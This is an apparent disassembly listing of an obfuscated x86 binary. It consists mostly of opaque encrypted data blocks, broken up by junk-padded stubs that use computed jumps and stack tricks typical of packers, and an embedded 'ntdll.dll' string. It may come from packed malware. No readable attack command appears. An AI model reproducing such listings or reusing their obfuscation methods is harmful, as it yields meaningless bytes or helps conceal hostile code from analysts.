		dd 0EE8A636h, 77000000h, 0D6F07F87h, 2C9CD08h, 0C18BA211h
		dd 419531C5h, 5B07E907h, 0AFD18166h, 64C38104h,	0BA000072h
		dd 440DBF2Fh, 1C7568h, 37BA6600h, 81665E2Bh, 8BF691C9h
		dd 0E881663Bh, 0F7810179h, 3B4457EAh, 81BADC80h, 337BCCC7h
		dd 0DD950927h, 8107E90Ch, 693825EFh, 0F5858964h, 8907E901h
		dd 0CD958B3Bh, 8307E907h, 958B04EBh, 7E93135h, 0E850F4Eh
		dd 8B000000h, 19E9CEh, 5BCD0000h, 59C4A1D4h, 5DB529A0h
		dd 0E907E92Ah, 0FFFFFFA7h, 30A108DAh, 0E95D8D8Fh, 57h
		dd 3443C647h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh,	6C642E6Ch
		dd 1467006Ch, 8003B2BDh, 0FEB9h, 0Dh dup(0)
		dd 0E9000000h, 6A3h, 0EFA19F68h, 0DB6CE907h, 6F68FFF9h
		dd 0E907EFA2h, 0FFF9DB62h, 0EFA2F668h, 0DB58E907h, 0E468FFF9h
		dd 0E907EFA3h, 0FFF9DB4Eh, 0EFA4D768h, 0DB44E907h, 9F68FFF9h
		dd 0E907EFA5h, 0FFF9DB3Ah, 0A4492BC0h, 1F96E408h, 4CE19BBDh
		dd 8332B0E0h, 0F578FC11h, 43D6C267h, 918B439h, 0A94EEA8Bh
		dd 58F25ED7h, 0B4EE971Eh, 6D24BDFDh, 47255728h,	5C57EE78h
		dd 0B4403171h, 5EDFDFD2h, 7331305Ch, 360887h, 4A5A0000h
		dd 0DFDFD2A0h, 31305CC4h, 7ACAB245h, 0B244DA68h, 0EC79FB2Ah
		dd 0D70F5B0Eh, 0DD11D9C2h, 94195BF1h, 5C29D1EDh, 0F484AB30h
		dd 2A54FA62h, 2DF173A2h, 0EC565B97h, 0A537A0B3h, 0B5A569ECh
		dd 0AB7B2937h, 73A5DEFAh, 6A048228h, 73A67737h,	0B8BC5128h
		dd 6C365E64h, 0EA3AB8E8h, 4DEC10D8h, 19FF348Ch,	219B28Ch
		dd 3F100000h, 0B72732B8h, 67EFD466h, 19B2930h, 0B4F55D90h
		dd 0CF4F5537h, 254D8B36h, 28BFBAECh, 2D60E39Eh,	5A366B9Dh
		dd 0EBCBCDB4h, 43C83F4Eh, 72C71FADh, 47E874E7h,	0A6DBE935h
		dd 5C5B32E6h, 54E6742Eh, 0AF93245Dh, 0F228E63h,	7FC7B15Bh
		dd 750FD765h, 638955E7h, 1A309C11h, 0BD0BD158h,	0BB8BE80Fh
		dd 49D04h, 3646D500h, 83F91DBFh, 0CEB046F2h, 1F9DF527h
		dd 65173A96h, 0FBD750C8h, 2D8F2656h, 53FD70F4h,	8731BCBCh
		dd 56A0B75h, 23A8E899h,	5268286Dh, 0E0A04A6Ch, 87F5184Ch
		dd 59725BFh, 5CC50C8Ch,	89E0430h, 61F66134h, 9533DAD7h
		dd 416337B5h, 786E75ACh, 0A1D06AFDh, 2FCC6F2Eh,	47FE1E84h
		dd 992BB3CEh, 1191009Ah, 387ECB5h, 999449A1h, 48E27C0Eh
		dd 0B4C3C3BEh, 574D87ECh, 0ECB56222h, 0B4F7B287h, 4DBC9925h
		dd 6918D066h, 8F4510E6h, 5B2EF6ACh, 20BD4FD8h, 751A1DCh
		dd 0C3250DDFh, 577595CEh, 0F18B1987h, 225AFF67h, 0CDCDC4C2h
		dd 47781675h, 0B763CF5Dh, 8541DBA5h, 0AB390577h, 44D6424Fh
		dd 0C193BF3Ah, 93A38BA7h, 3CD3Ch, 66162500h, 0B3C96DCFh
		dd 0FE809602h, 4FCDC577h, 95E70AA6h, 0CBA78018h, 7DDF5626h
		dd 0A30DA024h, 0D741EC8Ch, 0D5BA3B45h, 22D8D8C9h, 238286Dh
		dd 0D6A04A5Ch, 2FB8BB0Eh, 0B15B039Dh, 218A36C7h, 4F66C59Fh
		dd 0F02BE2E3h, 990B37B4h, 41D64114h, 50DCFAB7h,	52503062h
		dd 29D32DB8h, 0F4B32666h, 822AA3Ch, 0C755C76Eh,	999469B5h
		dd 4E057C0Eh, 9E27DC0Bh, 815DDF36h, 594B3703h, 2337E4D0h
		dd 13449824h, 346h, 50DD9FBCh, 8B2A50E4h, 0F8750729h, 2FC6445Ch
		dd 610C688Dh, 0AF422E0Bh, 9DF420CDh, 153A961Fh,	0CC6ECA6Bh
		dd 405A03B2h, 6D235151h, 0DB89C328h, 0ED6A04Ah,	15F2E570h
		dd 62A8ABA7h, 8A81F18Ch, 3EFA88E1h, 0BC51F063h,	0C85E64B8h
		dd 43AC433Eh, 980A37B5h, 1D9A015h, 3FC20000h, 0B55804B3h
		dd 8D657FC7h, 38D245D0h, 46F4F3ADh, 846C68FEh, 6C7C6F22h
		dd 6F3A37B5h, 0BF30296Dh, 0B56B9027h, 9E129CACh, 0E3927A08h
		dd 0FD180307h, 700A9D98h, 8EF77601h, 14CF663Ah,	0EFFC192Ch
		dd 7C26CA26h, 0F28C26A0h, 4D4CFFBFh, 1E93112Bh,	2B4D4C9Eh
		dd 29C42C76h, 920F990Eh, 32A1ACD9h, 1056F9D5h, 1AEA78FAh
		dd 2E29CBEh, 0CA5CF280h, 0FC8EE802h, 2A54FA62h,	0D9D9C8DAh
		dd 3B2360ACh, 903C8169h, 4D71F87Ah, 753F1D96h, 258C6F9h
		dd 8DAE0000h, 42D642F3h, 0F51BB538h, 564EEA8Bh,	5AFF59D4h
		dd 1C1D9322h, 52E399BCh, 802DAFE6h, 0F4790314h,	2DC0B258h
		dd 63235E48h, 0AD286D22h, 0A04A299Fh, 0B8BB0ED6h, 56009D2Fh
		dd 82E85F67h, 39687EBAh, 37B539D2h, 1124A03Ah, 98099B6Bh
		dd 28733918h, 0A24EAAF8h, 2BB66D00h, 9B2DBAB5h,	865E1E33h
		dd 77376AFCh, 99287339h, 0C8B92F0Bh, 2FCC1315h,	6E07079Dh
		dd 0AEE82949h, 0BCFAA63Fh, 0AE3E2Fh, 6DFA7528h,	0FAB741DBh
		dd 91A88CBAh, 6A8C485Ah, 5E29D810h, 4E990182h, 710A9CB7h
		dd 17E3B6F1h, 27AF396Bh, 0BDBF5D15h, 65CDD72Fh,	6EF974C9h
		dd 0D8ACA5DCh, 9C069113h, 9EB8730Ah, 0C24D549Dh, 0D3AFCFCFh
		dd 0CD634181h, 31DB8365h, 0F929B547h, 0B432BF7Bh, 0B027671Ah
		dd 8DE981D3h, 0B6CC1094h, 4EECC820h, 9BA7852Ch,	0BFB79D68h
		dd 16508h, 0FE7E9D00h, 4B31C577h, 96E80EAAh, 0E765BD1Fh
		dd 2D4FE24Eh, 0A30F2880h, 0D547EE8Eh, 1BB538BCh, 4FE984F4h
		dd 3D22D3ADh, 21703061h, 6AA0286Dh, 0D6A04A34h,	0B7F7AA44h
		dd 59305CC4h, 0FEB3EF4Bh, 5F52E473h, 37B5A4E8h,	0AFC1534Eh
		dd 0DE3C4CD4h, 0B31DA548h, 0ECA537A0h, 384C24A8h, 91EB0C68h
		dd 17A1374Dh, 3CC0D17Dh, 7E2AC0F4h, 610CA2DCh, 0C4B45905h
		dd 6D24CDCDh, 0CF5D4728h, 11856D77h, 0D0A579FBh, 4938D245h
		dd 305C8573h, 9221ECB9h, 65F855F6h, 739945D7h, 2AC06C01h
		dd 50EAF448h, 7D536121h, 39F1B320h, 0CC5EC964h,	0D63A9AD5h
		dd 0D47AE227h, 8C485AAAh, 3B271369h, 4EAC069h, 7ACA2429h
		dd 9D45h, 3646D500h, 83F91DBFh,	0CEB046F2h, 1F9DF527h
		dd 65173A96h, 0FBD750C8h, 2D8F2656h, 53FD70F4h,	8731BCBCh
		dd 56A0B75h, 1FA8E899h,	5268286Dh, 37A0B36Ch, 0A9430BA5h
		dd 856D77CFh, 4C24F2C4h, 98643E38h, 0D15C1E3Ch,	11ABD567h
		dd 258A0A87h, 188A286Dh, 2493138Eh, 277D286Dh, 0E3EE97CBh
		dd 7A3C01C3h, 5FFD37D6h, 1624901Dh, 4938D264h, 0F4C0C349h
		dd 0DD11D9CBh, 0C323A1F1h, 0E50AD2ACh, 8A335F9Bh, 33C2BC5Eh
		dd 35096B81h, 0D82h, 0D254DC00h, 0C5494938h, 0D9CB305Ch
		dd 0A14AB311h, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h
		dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h
		dd 3EDh, 56242489h, 4BEh, 24740100h, 89565E04h,	4C681E6h
		dd 83000000h, 348704EEh, 1C895C24h, 0E6895624h,	4C681h
		dd 0EE830000h, 24348704h, 243C895Ch, 7BBA5250h,	895AF805h
		dd 0F055AD0h, 89ACF79Bh, 8B5458C3h, 0C483243Ch,	8BA5204h
		dd 1000000h, 2C8153FAh,	900FFC24h, 81028F38h, 900FFC02h
		dd 34FF5A38h, 0C4835F24h, 241C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		rcr	byte ptr [esi-12h], 1
		mov	eax, 7EFA661h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 44F51051h, 5642DA1h,	472AE39Fh, 2EAA81Eh, 452C5784h
		dd 76E84005h, 8307850h,	8E8h, 96F7BB00h, 7C550BADh, 11E9F9h
		dd 0CA00000h, 713D0826h, 568FB3E0h, 5CFC498Eh, 5937BC43h
		dd 0C181C38Ah, 61ECh, 2BF0BF0Fh, 113C8BD2h, 7203F381h
		dd 0C7816769h, 50574CB4h, 0B164C781h, 0EF813259h, 641441A4h
		dd 28F0F53h, 0B7000000h, 8F575B50h, 0B8661104h,	0BE9F762h
		dd 15000000h, 5F14ACF0h, 39C21AF2h, 0EA83DCB2h,	0D3816604h
		dd 0FA817F3Ch, 0FFFF9E9Ch, 0FFAF850Fh, 0AE9FFFFh, 6C000000h
		dd 0D47F8B70h, 76C34F55h, 26E996h, 48C70000h, 1FCEh, 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5EEA4E
; ---------------------------------------------------------------------------
		push	7EFA8DDh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EFA95Fh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EFAAC2h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0E751DC9Ch, 28842953h, 5FF97406h, 8C28C547h,	0A621369h
		dd 0CCA84D2Dh, 1E9EF721h, 6A122597h, 0B1C369CBh, 524F5B3Ch
		dd 286D1E52h, 78DA88C2h, 36E36EDh, 0F43CE432h, 0D3792DC0h
		dd 2AADFDA6h, 92202A12h, 869420FCh, 61ED79F4h, 5553B331h
		dd 5C155C5Ch, 58EEB430h, 0C552DD90h, 0F2F77E33h, 59F37B4h
		dd 0F36C4839h, 0EC102872h, 0B2348C4Dh, 0E9B28C1Ah, 34000002h
		dd 2EF684A8h, 3F6E5C94h, 0AD3A35B9h, 9F73661Bh,	614337B5h
		dd 38390CA5h, 2DC8054Dh, 19543CBDh, 71D5B24Fh, 3D479FDDh
		dd 0C1641DAFh, 51326771h, 55A9D365h, 7B91F248h,	9C326F20h
		dd 8617970Ah, 0ABF92325h, 0B8E98315h, 232585F8h, 72AE8A18h
		dd 912BBCBFh, 7E4A88E0h, 0E07A282Ah, 9A4D664h, 46F38DAFh
		dd 26C1FDC7h, 0B665995h, 97000003h, 0DF79F484h,	0AC413Bh
		dd 0B7E18CEEh, 0E450DD5Fh, 128A2B51h, 0E490A515h, 36B6EF49h
		dd 82FA1DBFh, 0C9AB41F3h, 2A674324h, 286D1D6Ah,	0B33290AAh
		dd 88EC01A0h, 0ADE460FAh, 38CDD72Fh, 66CC075Bh,	0AE38F05Bh
		dd 4BF787F3h, 75AD0938h, 0FD761F7h, 9B1B96EAh, 75286CF7h
		dd 0B814992Fh, 661FE795h, 286CF849h, 0DCA5B71Fh, 2BE7FE36h
		dd 8F57E51Ch, 73993DF5h, 61D36801h, 7DF1340Eh, 2894Ah
		dd 76061500h, 0C3B95DFFh, 0E708632h, 5FDD3567h,	0A5D77AD6h
		dd 3B979008h, 6DCF6616h, 933DB034h, 0C771FC7Ch,	0C5AA4B35h
		dd 1BE8A8D9h, 1228286Dh, 37A0B3ACh, 16960BA5h, 36305CC5h
		dd 6E345822h, 0FA3648EEh, 678A52ECh, 7FBBC915h,	4C1CE28Eh
		dd 2CF0B238h, 59DBCA92h, 1CD4F091h, 8394286Dh, 87A925F9h
		dd 0F64E2EC3h, 0F8865EECh, 6D1D0989h, 0C2990B28h, 0B9E91BC2h
		dd 113DA53Bh, 8459AB68h, 71958C20h, 2D000001h, 44D6A04Ah
		dd 3F077598h, 73018393h, 0CD6F6B87h, 0CC6F02B3h, 9E37C15Bh
		dd 0DB6B461h, 34D51D12h, 37B4E055h, 0EDD22EC7h,	35E87B67h
		dd 0F99311FDh, 9372326Fh, 36A22873h, 0F88A5A24h, 0B3528E6Ah
		dd 28739317h, 7B9841CDh, 8C1A0E89h, 34E5h, 0A0B3FD00h
		dd 0EDECA537h, 0A537B5AAh, 225FD9C9h, 2873AA62h, 0CC62F0B2h
		dd 0AA359170h, 272B2873h, 0FB6B5586h, 35C08C19h, 0B83771E2h
		dd 35E9A4Ch, 94h, 29ED78A7h, 6470EC83h,	28C2F642h, 37DAF64Eh
		dd 3FDDF945h, 47D5E13Dh, 0C98DEF03h, 0FA8854D8h, 0BCBAC964h
		dd 38305BC1h, 9ACD6012h, 37E089Fh, 37AFEDEAh, 804CDEC4h
		dd 0C1271391h, 0E984F005h, 0AA0DE07Dh, 0FF24FB02h, 0A728733h
		dd 0D323C6Fh, 5B0CC034h, 126h, 9C116388h, 0D75E1C30h, 4A9D365h
		dd 7BFA78A8h, 0AD4034D9h, 7B9EFA3Fh, 0D1C06C01h, 0E176A253h
		dd 90BA169Fh, 7C264FE6h, 6D1B8505h, 0F7D8F28h, 4CE3A74Ah
		dd 0A5179E2Ch, 0FA48E597h, 0ED6A04Ah, 3CCEA842h, 30F87A90h
		dd 0E87FFAADh, 78A9235Eh, 9D0737B2h, 0CDAF430Bh, 0C9B34571h
		dd 11D96F75h, 0BB51FD97h, 935F65B9h, 0CB6A1227h, 737820BCh
		dd 4032D828h, 0DA731ADh, 73781494h, 0F3A6FC28h,	287377B3h
		dd 0A321715Dh, 5CF1250Dh, 9393C418h, 33000000h,	0A537A0B3h
		dd 4C1C84ECh, 4E960C38h, 0E78EE802h, 0A0D1A7B5h, 286D1CE0h
		dd 1CD7D7CAh, 6B39286Dh, 51EB792Bh, 0D31F9DF5h,	3668E69Fh
		dd 6B8D208Bh, 8AF406C2h, 0D1A349EBh, 0A8D9730Dh, 104B36E8h
		dd 3ED27A28h, 0D0C0F43Ch, 33C6F252h, 36D9F549h,	60E4FE46h
		dd 3C53B331h, 0A2B77118h, 0B5DB44DAh, 0BE48E214h, 4B36C3C3h
		dd 22574D10h, 104B3762h, 9C38F0B2h, 0B6F1FB7Eh,	95EAAAE7h
		dd 782A104Bh, 4A2648EDh, 7D9F39B4h, 38C2303h, 0D6000000h
		dd 0A14AF654h, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h
		dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 815E55A9h
		dd 4ECh, 24148900h, 81E68956h, 4C6h, 4EE8100h, 87000000h
		dd 895C2434h, 468241Ch,	89000060h, 0B8502414h, 0A5F79D3h
		dd 0A05A1435h, 0F7D8F758h, 7BD12DD0h, 0C3894B0Fh, 8124048Bh
		dd 4C4h, 4EC8100h, 89000000h, 4812424h,	424h, 0EC835A00h
		dd 241C8904h, 8B08428Fh, 89522414h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 2434FF5Ch, 4C4835Bh, 0F9CF35E9h, 36B1E0FFh
		db 5Ch,	1Dh
; ---------------------------------------------------------------------------


loc_5EEA4E:				; CODE XREF: sdfs____:005EE58Cj
		mov	eax, 7EFAC0Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0FEh
		dd 7C315353h, 0D86B450Fh, 0D37C54F5h, 1374D312h, 361F8EC1h
		dd 3E5ABAA4h, 482BFA25h, 0DC45097Bh, 9937EACDh,	613EAED4h
		dd 6E49B905h, 0D72C36D2h, 9F7C6514h, 341CBAC1h,	37233182h
		dd 931A0962h, 0C85B17EDh, 2A1755DAh, 2A2D8CBBh,	746AEF5Dh
		dd 0CB017003h, 884F16DEh, 0FB69BC32h, 3585D2Ah,	34084249h
		dd 0B1F3356h, 9215565Eh, 33188FE8h, 0D34B6F9Ch,	5C703321h
		dd 8D34468Eh, 0EFAE1B8Dh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 41BD89B2h
		dd 8B07E92Ah, 0E91B5585h, 0D8D8907h, 6A07E932h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0AD3CC351h, 89C05149h, 0E9117DB5h, 99958907h, 0C707E934h
		dd 0E922E585h, 6EB007h,	0FE96000h, 48000000h, 0D8B71C58h
		dd 0CB026C4h, 713F3D56h, 0BF662CF2h, 0C76126F4h, 0E922B185h
		dd 7, 8E800h, 30890000h, 0DFE812A7h, 0BD8BF734h, 7E91DD5h
		dd 0D1B5FF58h, 6A07E912h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 9F4EC357h, 9B7CAFE5h
		dd 0DAC0EE22h, 228595FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 863F5CC3h, 81503A63h
		dd 84DE51F0h, 6A5F62h, 0C3195FFh, 0C08B07E9h, 54E419EBh
		dd 0BA5F4C6Eh, 4FE3BBAFh, 989116E1h, 229C34B6h,	93060D19h
		dd 8DD03369h, 0EFAF078Dh, 6880F07h, 8B000000h, 0E92699B5h
		dd 0D8D8907h, 6A07E932h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 1774C357h, 0DD85011Fh
		dd 0C707E900h, 0E922E585h, 639007h, 0DED38100h,	0C719C5C9h
		dd 0E922B185h, 7, 0CD858B00h, 8B07E922h, 0E913319Dh, 0DB5FF07h
		dd 6A07E917h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0F167C357h, 6D813BF4h,	858B1223h
		dd 7E91191h, 0F2816653h, 0FF5EA944h, 0E9228595h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0F75E8B01h, 76969EC3h, 0BA668FC3h, 6A3C72h, 0C3195FFh
		dd 0C08B07E9h, 0E52528EBh, 0BD5A1EBDh, 0D96520ADh, 865D991h
		dd 0CEEB4732h, 1C1EA7DCh, 846FBDDh, 123B4FDDh, 19D31ED4h
		dd 495425BCh, 2DE93C8Ah, 2D000000h, 7D2F04h, 0Ah dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5EF255
; ---------------------------------------------------------------------------
		db 21h,	0Ah, 6Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 69h,	0C5h, 0B7h
		dd 27C923Eh, 53D1C173h,	99E376A2h, 37A38414h, 79DB5A22h
		dd 0AF09A428h, 0D37DF088h, 0D1B63F39h, 15DCDCD5h, 634286Dh
		dd 0D6A04AA0h, 0B7F7AA44h, 59305CC4h, 136D834Bh, 2ACF8B27h
		dd 55A9D364h, 9834B94Fh, 0A23C0072h, 48E200Bh, 0FAFC89F3h
		dd 0B81CD4BDh, 0BC56E092h, 5C90C5C5h, 9D554F30h, 0ADE17541h
		dd 0C1ABF68Bh, 1C633278h, 0A824F88Eh, 0AE2AFA78h, 6328F476h
		dd 0FF5E9C3Dh, 0DA70B455h, 94BB1598h, 0E2423CD2h, 71A352E0h
		dd 400C9EDEh, 2FADE450h, 0B11D5199h, 0FBBEA60h,	6FFD93EDh
		dd 0BD5C6097h, 8FA2E40Bh, 0B7C569EDh, 2EC7556Fh, 970A6882h
		dd 305C4C17h, 6011ABF9h, 305C4C20h, 0C01CB2F0h,	5C4C8621h
		dd 0AB34530h, 3158F7C9h, 5B7784h, 4A530000h, 970ED6A0h
		dd 305CC515h, 0A75FFE12h, 0C514940Dh, 0A6FC305Ch, 4C05C917h
		dd 0BC746DFAh, 31D5B50Fh, 0A3184h, 18B50000h, 0D040C2DFh
		dd 3496627Ch, 8D4A64Ah,	53E4A84Ch, 39CFD529h, 3BB9E9E5h
		dd 0A34AEEEBh, 7399CD61h, 4CD97301h, 8833A23Ah,	23AE8A2Bh
		dd 94195BF1h, 0D5A74A2Eh, 7719B43h, 6DE9F72Bh, 5D79B1CBh
		dd 0A863C3B9h, 0EE03C564h, 0A7B5E78Eh, 0AB4D09D5h, 0C4DCDCD5h
		dd 6E34305Ch, 8F864ED8h, 0D765173Bh, 61BD750Fh,	0F724C549h
		dd 8430D9FDh, 6079h, 4FE16D00h,	0F187F11Bh, 0A74A8B39h
		dd 0AB4D09D5h, 9A2850E7h, 44E50F4Ah, 660F6D80h,	895527CAh
		dd 8F57D5CDh, 498A33DFh, 8430DA67h, 8BEE00CCh, 0CB6BC162h
		dd 0EB47D5B0h, 42B6h, 0ED780C00h, 0FBBA64FFh, 17836F66h
		dd 0D0AA4C02h, 1CE0760Ch, 0BBEB9FB0h, 49DFE539h, 650408F5h
		dd 47EE8EA3h, 0D4A64AC3h, 42D67E08h, 12DEE438h,	5CC55873h
		dd 3CDD3730h, 30E0259Fh, 14184h, 4A610000h, 4E0ADAA4h
		dd 1D72D2ACh, 809652FBh, 0B1E06CFEh, 75D1D333h,	3A4894E0h
		dd 0BDB8F3FEh, 5E06902Ah, 6B79C547h, 0AD43FE8Fh, 0B1F337B5h
		dd 0E799BF27h, 71AD851Fh, 33C5B745h, 0ADA8E899h, 3A682873h
		dd 0D973F3FEh, 5FA7257Dh, 0AE545445h, 1D742873h, 45ADF79Fh
		dd 2FB9BB51h, 0DE23C996h, 71B961D9h, 0B42443Dh,	0BDD72873h
		dd 3042E81Ch, 7FF913BDh, 0A9CB61EDh, 56564B55h,	0BE28730Bh
		dd 469A56E4h, 4E96E00Ah, 0C96DE9FDh, 8363FB4h, 0A036032Ch
		dd 43852448h, 9D26CFA9h, 8C1AB723h, 12243h, 0DC786700h
		dd 0E0E24238h, 4DDA5508h, 99C7C6BBh, 554F37B5h,	4D2FCD89h
		dd 94E674A0h, 88EE0C48h, 73999919h, 0AD297B28h,	972DF18Bh
		dd 4DEF7701h, 19D1D333h, 6F0E76C5h, 3CD397A5h, 0D8A183Bh
		dd 3CD218C0h, 0A14CE2E0h, 9C85A845h, 4A51388Ah,	8AE3DDEEh
		dd 46038C1Ah, 0A7000000h, 0E9EAED78h, 4539FBAFh, 0A83F30EDh
		dd 0C443631Eh, 0D7CDB05Ch, 0C416960Fh, 0ADF9B05Ch, 90367F10h
		dd 31605EAAh, 0B05C4171h, 877301A3h, 768FB25Bh,	0A7FF67F1h
		dd 0A6DBCD25h, 305C4106h, 0A419940Eh, 83h, 30A0B3FEh, 47DEA579h
		dd 5DF35B60h, 86FB8D23h, 37B4DA4Bh, 59233591h, 4F33FF85h
		dd 2FCD8955h, 0AC46A04Dh, 72D9B5F5h, 0ED455F28h, 5C5523C9h
		dd 2872DA5Ch, 0CE58EEB4h, 0A088F206h, 0D938950Ch, 18322872h
		dd 26CA865Eh, 71978854h, 59732AC8h, 94E674B0h, 0CBB55A02h
		dd 0B8026E7Bh, 0BC7F5217h, 0A4FFC22Eh, 158C1E89h, 3062D702h
		dd 0A612F2B0h, 0E51AEA94h, 0E4773AE3h, 55A8D973h, 5D287327h
		dd 7814AE47h, 20A315EDh, 0FF3B48FBh, 16A03722h,	20173D7Fh
		dd 69C1E971h, 0D779E57Fh, 5C56DFA2h, 26B4A9DAh,	0D5E83BCAh
		dd 0D4CE384Bh, 0CCAE4C08h, 37D923Ah, 4449A123h,	0FBB640DAh
		dd 286CD4BBh, 5A5A4F55h, 0BA286CD5h, 0B3413BDEh, 0BFB95347h
		dd 0D2CF5967h, 286CD4D2h, 0F9886042h, 82AD2382h, 40B657F9h
		dd 8D1AB8B5h, 0A0B51371h, 0E47A08D4h, 0F082A80Ch, 0F654E17Dh
		dd 0E45B87EBh, 1F5DF155h, 4175BDC7h, 0D4D4CDABh, 3CADAC86h
		dd 400CD066h, 1D72D250h, 849652FBh, 33D97BFAh, 874C4C45h
		dd 0DEC4ADACh, 62EAF448h, 4B44ACCEh, 3,	4AF6549Bh, 430FD7A1h
		dd 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h
		dd 636FB735h, 6753B3CDh, 5E55A9D3h, 81E18951h, 4C1h, 4E98300h
		dd 5C240C87h
; ---------------------------------------------------------------------------
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		push	4CA54BE0h
		pop	ebx
		shl	ebx, 5
		shr	ebx, 2
		sub	ebx, 1
		xor	ebx, 22C5F194h
		mov	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 8
		add	ecx, ebp
		push	ebx
		mov	ebx, eax
		mov	[ecx], ebx
		pop	ebx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 0F56h
		dd 193EE9A2h, 1D8476F1h
		db 69h
; ---------------------------------------------------------------------------


loc_5EF255:				; CODE XREF: sdfs____:005EED20j
		mov	eax, 7EFB3FAh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 87E4h
		dd 35502A44h, 2E073840h, 1EF05CF3h, 474E6A7Bh, 87E40EAAh
		dd 355001E7h, 2E074649h, 1EF0086Eh, 474E350Ch, 87E412BDh
		dd 35505F40h, 2E077DB4h, 1EF010CFh, 474E008Fh, 87E43066h
		dd 3550559Bh, 2E077CE5h, 1EF02EC2h, 10E81F88h, 5000000h
		dd 4499D95Dh, 0AFEF5FE7h, 8D77AFA6h, 0FE6CE55h,	8158D3B7h
		dd 7D820EE2h, 0F3C0811Dh, 0F000063h, 0B84h, 5890F00h, 66000000h
		dd 0AA7ECF81h, 18CD68h,	0E9806000h, 0AE8E8h, 1F780000h
		dd 2B4B041Eh, 6883D037h, 0F95B615Eh, 8D0F308Bh,	0
; ---------------------------------------------------------------------------
		add	esi, 27F00670h
		mov	dx, 1A18h
		add	esi, 7E68CD44h
		jle	loc_5EF31B
		stc


loc_5EF31B:				; CODE XREF: sdfs____:005EF314j
		sub	esi, 57AA49CCh
		movzx	ecx, dx
		mov	[eax], esi
		sub	eax, 2
		and	dx, 1449h
		dec	eax
		dec	eax
		push	ecx
		add	dx, 8025h
		pop	ecx
		dec	ebx
		jnz	loc_5EF364
		pusha
		pusha
		push	edx
		pop	edi
		popa
		push	ebx
		jmp	loc_5EF351
; ---------------------------------------------------------------------------
		db 7Ah,	54h, 14h
		dd 2B8F3E67h
; ---------------------------------------------------------------------------
		wait


loc_5EF351:				; CODE XREF: sdfs____:005EF344j
		pop	edi
		popa
		jmp	loc_5EF372
; ---------------------------------------------------------------------------
		dd 0C3D20A6Ch, 0C4F749CBh, 8AD4AE67h
; ---------------------------------------------------------------------------


loc_5EF364:				; CODE XREF: sdfs____:005EF338j
		mov	dx, 0AB51h
		jmp	near ptr dword_5EF260+9Ch
; ---------------------------------------------------------------------------
		db 41h,	0B3h, 1Eh
		db 0F0h, 3Fh
; ---------------------------------------------------------------------------


loc_5EF372:				; CODE XREF: sdfs____:005EF353j
		push	ebx
		adc	[ecx+esi*4+5Dh], ah
		mov	ds:54F4B132h, eax
		xor	dh, [ecx+73BEFC57h]
		sbb	byte ptr [edx+6B451306h], 3Bh
		fld	dword ptr [edi+2CE7E252h]
		db	64h
		cmp	al, 49h
		mov	edx, 5C3F3D56h
		push	esi
		xor	dh, [ecx-14E2F1A5h]
		push	ebp
		inc	ebx
		xor	dh, [ecx-4EDD4055h]
		aad	56h
		inc	ebx
		mov	esi, 68C00235h
		bound	ecx, [edi]
		jz	short loc_5EF426
		pop	esp
		pop	edi
		outsd
		jmp	far ptr	3242h:47B1320Ch
; ---------------------------------------------------------------------------
		db 0B1h, 57h, 20h
		dd 0B24EE308h, 0ACBF6253h, 3327FDD6h, 0F26850D6h, 59FD63F4h
		dd 565DA8B6h, 56BA5832h, 89E7B132h, 0DE16663Eh,	33AE81BFh
		dd 9F3CD2B0h, 0C5A098D7h, 56BA5D54h, 565D48CAh,	56A05852h
		dd 9680B132h, 769B9D5Fh, 6E0802BCh, 1BD8EF3Eh, 5675B7DBh
		dd 3095B732h, 37C893F2h, 5652B132h, 56505832h, 0BE2DB132h
		db 0C1h, 0DDh
; ---------------------------------------------------------------------------


loc_5EF426:				; CODE XREF: sdfs____:005EF3B1j
		mov	bl, 0A1h
		jmp	near ptr 3267DDF4h
; ---------------------------------------------------------------------------
		db 0BDh, 75h, 56h
		dd 5030BE32h, 595DB132h, 56AEB1BCh, 0AA57B132h,	56F46561h
